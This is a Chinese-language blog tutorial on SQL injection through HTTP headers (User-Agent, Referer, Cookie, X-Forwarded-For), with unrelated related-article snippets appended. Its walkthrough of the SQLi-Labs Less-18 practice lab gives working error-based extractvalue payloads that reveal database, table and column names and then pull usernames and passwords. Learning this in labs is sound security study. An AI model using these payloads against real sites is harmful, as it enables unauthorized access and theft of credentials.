SQL注入-HTTP头注入

news2024/9/30 21:25:18

目录

HTTP Header概述

HTTP Header注入

HTTP Header注入概述

HTTP Header注入实例


HTTP Header概述

HTTP工作原理

HTTP请求方法

HTTP报文类型

请求报文(HTTP Request):由客户端发给服务器的消息,其组成包括请求行(Request-LIne),请求头域(Header-Field)和请求体(Entity-Body)。

响应报文(HTTP Response):由服务器回复给客户端的消息,其组成包括状态行(Status-LIne),响应头域(Header-Field)和响应体(Entity-Body)。

请求报文组成

请求报文实例

响应报文组成

HTTP响应报文实例

HTTP响应消息状态码

HTTP Header部分内容

  1. X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件,通过修改XFF头可以实现伪造IP)。
  2. Client-IP:同上。
  3. Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。
  4. User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。
  5. Cookie:网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。
  6. Host:客户端指定自己想访问的Web服务器的域名/IP地址和端口号

HTTP Header注入

HTTP Header注入概述

有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者
通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等)会对客户端HTTP Header进行获取并使用SQL语句进行处理,通过SQL语言保存到数据库中 或者 直接提取跟数据库中的信息进行比对 由于sql语言的介入如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。 

HTTP Header注入的前提条件

  • 能对请求头消息进行修改
  • 修改的请求头信息能够带入数据库执行
  • 数据库没有对输入的请求头过滤

常见注入类型

Cookie注入 :服务器对cookie字段进行获取 验证客户端身份 

Referer注入:服务器记录referer字段用于统计网站的点击量

User-Agent注入 服务器记录访问者的信息 如浏览器版本 操作系统版本等,服务器根据提供的信息来给客户端推送不同的网页

XFF注入:一些网站的防注入功能会记录客户端真实ip地址并写入数据库


HTTP Header注入实例

目标靶机:SQL-Lab的less-18

典型应用场景:服务器获取User-Agent头部字段值,并用Insert命令将其写入数据库

注入方式:利用Burpsuite抓包,在User-Agent头部字段设置注入payload

分析源码发现虽然动态参数没有注入点 但是服务器将HTTP头部的useragent字段插入到数据库中了 于是修改useragent字段值为构造的sql语句

抓包判断注入点  在user-agent后添加一个单引号

服务器响应 ,语法有错误   并且也确定了sql报错有回显 服务器的数据库报错函数没有被屏蔽

能判断出该字段存在注入点

这个单引号与服务器端固定sql语句‘uagent’第一个单引号结合 第二个单引号引发的语法错误

添加注释也报错

原因 注释把后面所有sql注释掉了 这样就造成了 VALUES('$uagent' 

括号引发的报错 如果加上)也是不行的 

插入数据量必须是三个值 需要额外添加两个值

无报错信息 说明现在就可以在这个位置设置payload了 在第一个单引号后面设置

源码中是通过insert方式插入数据 所以不能使用union 

可以使用报错的方式进行构造sql语句

爆数据库

'and extractvalue(1,concat('~',database())),'','')#

成功爆出当前数据库

爆当前数据库所有表

'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')#

爆user表所有字段

'and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#

爆字段值

'and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from  security.users limit 0,1))),'','')#

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1261322.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

pinpoint链路跟踪运用及日志logback配置

本文将讲述pinpoint的安装,使用及与java logback 日志的集成。 介绍 是什么 是一款 APM监控工具(Application Performance Management/应用性能管理)基于java编写用于 大规模分布式系统 的监控,是 分析 大规模分布式系统 的平台基于google Dapper开发&…

案例分析-FATfs文件系统移植单片机内存不够问题分析和解决

在通过cubeMX自带的FATfs 文件系统在STM32F103C8T6上进行移植,正式调用后,发现系统报错,出现内存空间不足问题。如下: 更改更大容量的单片机进行编译,通过了 说明刚开始分析空间不够是对的,是flash不够还是…

Python实现WOA智能鲸鱼优化算法优化XGBoost回归模型(XGBRegressor算法)项目实战

说明:这是一个机器学习实战项目(附带数据代码文档视频讲解),如需数据代码文档视频讲解可以直接到文章最后获取。 1.项目背景 鲸鱼优化算法 (whale optimization algorithm,WOA)是 2016 年由澳大利亚格里菲斯大学的Mirjalili 等提…

Vue 3 面试经验分享

🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🦄 博客首页——🐅🐾猫头虎的博客🎐 🐳 《面试题大全专栏》 🦕 文章图文…

Batch Norm简明图解【批归一化】

Batch Norm(批归一化) 是现代深度学习实践者工具包的重要组成部分。 在批归一化论文中引入它后不久,它就被认为在创建可以更快训练的更深层次神经网络方面具有变革性。 Batch Norm 是一种神经网络层,现在在许多架构中普遍使用。 …

uni-app:心跳机制基础逻辑(定时器方法解决)

思路 1、在登录的时候,定义一个存储当前时间的全局变量,并且开始心跳请求 2、在全局中定义一个定时器,该定时器每秒都会执行一次,并获取当前的时间 3、将定时器每秒的获取的当前时间和全局变量获取的时间进行比较 4、指定一个…

Oracle ORA12514 监听程序当前无法识别连接描述符中请求的服务

最简单的有可能是你的服务还没有开启,需要启动服务!!!! 在连接数据库的时候,有时会遇到一个“ORA12514:监听程序当前无法识别连接描述符中请求的服务”的错误,这个错误其实就是数据…

针对MAC上,面对8080端口被占用怎么解决

首先输入这个命令,在终端,这个是搜查命令,搜查当前8080端口被谁占着 sudo lsof -i :8080 杀死当前的进程 kill -9 1821 kill -9 (上面写着的PID)

NX二次开发UF_CURVE_ask_wrap_curves 函数介绍

文章作者:里海 来源网站:https://blog.csdn.net/WangPaiFeiXingYuan UF_CURVE_ask_wrap_curves Defined in: uf_curve.h int UF_CURVE_ask_wrap_curves(tag_t wrap_curve_object, int * num_output_curves, tag_t * * output_curves ) overview 概述 …

深度学习【二】

1.运行时错误 1.1 ModuleNotFoundError: No module named ‘torch_scatter’ 参考 https://blog.csdn.net/weixin_42421914/article/details/132875571 pip install --no-index torch-scatter -f https://pytorch-geometric.com/whl/torch-1.13.1%2Bcpu.html

unity学习笔记10

一、生命周期函数 1.Awake() 调用时间:对象被激活或创建时。 用途:通常用于初始化对象的状态,获取组件引用或执行其他在脚本生命周期早期需要完成的任务。 2.OnEnable(): 调用时间:对象激活时,包括对象被创建和Se…

2023_Spark_实验二十一:Zookeeper单机安装与配置

zookeeper单机安装与配置一、zookeeper的安装 1.上传zookeeper-3.4.5.tar.gz到/tools目录下 2.解压安装zookeeper到/training中 tar -zvcf zookeeper-3.4.5.tar.gz -C /opt/soft_installed/zookeeper-3.4.53.配置环境变量 vim /home/lh/.bashrc# 添加内容如下 export ZK_HOME…

京东运营数据分析(京东数据采集):2023年10月京东护肤行业品牌销售排行榜

鲸参谋监测的京东平台10月份护肤市场销售数据已出炉! 鲸参谋数据显示,2023年10月份,京东平台上护肤市场的销量为2000万,环比增长约28%,同比降低约26%;销售额为25亿,环比增长约24%,同…

shell编程系列- bash和sh的区别

文章目录 引言bash和sh的区别CentOS下的区别Ubuntu下的区别 最佳实践 引言 我们在编写shell脚本时,通常第一行都要声明当前脚本的执行程序,也就是常见的 #!/bin/sh 或者是 #!/bin/bash ,我们无论用哪一个脚本似乎都可以正常的执行&#xff0…

三丶openlayer之source和layer

1.source和layer的概念 在前面的例子中,已经对Source和Layer有所了解了,我们用天地图为底图加载出来东西,但是这个世界上的地图不仅仅是有天地图一种类型,比如Google地图,高德地图,百度地图等,…

Java中如何构建平衡二叉树

定义:平衡二叉树是一棵二叉排序树,或者为空,或者满足以下条件: 1)左右子树高度差的绝对值不大于1; 2)左右子树都是平衡二叉树。 平衡因子:左子树的高度减去右子树的高度,显然,在平衡…

【C/PTA —— 12.指针1(课内实践)】

C/PTA —— 12.指针1(课内实践) 6-1 交换两个整数的值6-2 利用指针找最大值6-3 字符串的连接6-4 移动字母 6-1 交换两个整数的值 void fun(int* a, int* b) {int* tmp *a;*a *b;*b tmp; }6-2 利用指针找最大值 void findmax(int* px, int* py, int* p…

Find My键盘|苹果Find My技术与键盘结合,智能防丢,全球定位

键盘是最常用也是最主要的输入设备,通过键盘可以将英文字母、汉字、数字、标点符号等输入到计算机中,从而向计算机发出命令、输入数据等。还有一些带有各种快捷键的键盘。随着时间的推移,渐渐的市场上也出现独立的具有各种快捷功能的产品单独…

VS2010配置opencv2.4.10

1.下载opencv2.4.10,百度网盘链接如下: 链接:https://pan.baidu.com/s/1UdoQJbRUEB_G2urT703xYQ 提取码:7lbd 2.运行opencv-2.4.10.exe,将文件提取到一个自定义目录里: 3.添加系统环境变量 在“系统变量…

Webhook端口中的自签名身份验证

概述 有时,可能需要通过 Webhook 端口从交易伙伴处接收数据,但该交易伙伴可能需要更多的安全性,而不仅仅是用于验证入站 Webhook 请求的基本身份验证用户名/密码 – 或者您可能只想在入站 Webhook 消息上添加额外的安全层。 使用 Webhook 端…